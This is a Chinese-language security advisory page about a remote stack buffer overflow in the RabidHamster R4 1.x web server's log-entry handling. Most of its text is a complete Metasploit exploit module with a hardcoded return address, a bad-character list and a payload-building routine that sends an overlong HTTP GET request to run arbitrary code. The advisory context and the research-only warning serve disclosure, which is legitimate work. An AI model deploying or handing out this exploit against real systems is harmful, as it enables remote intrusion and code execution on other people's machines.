安全研究

安全漏洞
RabidHamster R4文件泄露和缓冲区溢出漏洞

发布日期:2012-02-10
更新日期:2012-02-10

受影响系统:
rabidhamster RabidHamster R4 1.x
描述:
RabidHamster R4是单机版OpenGL加速的程序,用于生成带音乐的实时动画3D图形。

RabidHamster R4在创建日志条目时存在溢出漏洞,通过超长的web请求,远程攻击者可利用此漏洞造成任意代码执行。

<*来源:Luigi Auriemma (aluigi@pivx.com
  
  链接:http://secunia.com/advisories/47901/
        http://osvdb.org/show/osvdb/79007
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'           => "RabidHamster R4 Log Entry sprintf() Buffer Overflow",
            'Description'    => %q{
                    This module exploits a vulnerability found in RabidHamster R4's web server.
                By supplying a malformed HTTP request, it is possible to trigger a stack-based
                buffer overflow when generating a log, which may result in arbitrary code
                execution under the context of the user.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Luigi Auriemma',  #Discovery, PoC
                    'sinn3r'           #Metasploit
                ],
            'References'     =>
                [
                    ['OSVDB', '79007'],
                    ['URL', 'http://aluigi.altervista.org/adv/r4_1-adv.txt'],
                    ['URL', 'http://secunia.com/advisories/47901/']
                ],
            'Payload'        =>
                {
                    'StackAdjustment' => -3500,
                    'BadChars' => "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x20"
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "process"
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    ['R4 v1.25', {'Ret'=>0x73790533}]  #JMP ESI (ddraw.dll)
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Feb 09 2012",
            'DefaultTarget'  => 0))

            register_options(
                [
                    OptPort.new('RPORT', [true, 'The remote port', 8888])
                ], self.class)
    end

    def check
        res = send_request_cgi({
            'method' => 'GET',
            'uri'    => '/'
        })

        if res and res.headers['Server'] == 'R4 Embedded Server'
            return Exploit::CheckCode::Detected
        else
            return Exploit::CheckCoded::Safe
        end
    end

    def exploit
        buf = ''
        buf << payload.encoded
        buf << rand_text_alpha(2022-buf.length, payload_badchars)
        buf << [target.ret].pack("V*")
        buf << pattern_create(200)
        buf << rand_text_alpha(3000-buf.length, payload_badchars)

        send_request_cgi({
            'method' => 'GET',
            'uri'    => "/?#{buf}"
        })
    end
end

建议:
厂商补丁:

rabidhamster
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://r4.rabidhamster.org/R4/main.php

浏览次数:2510
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障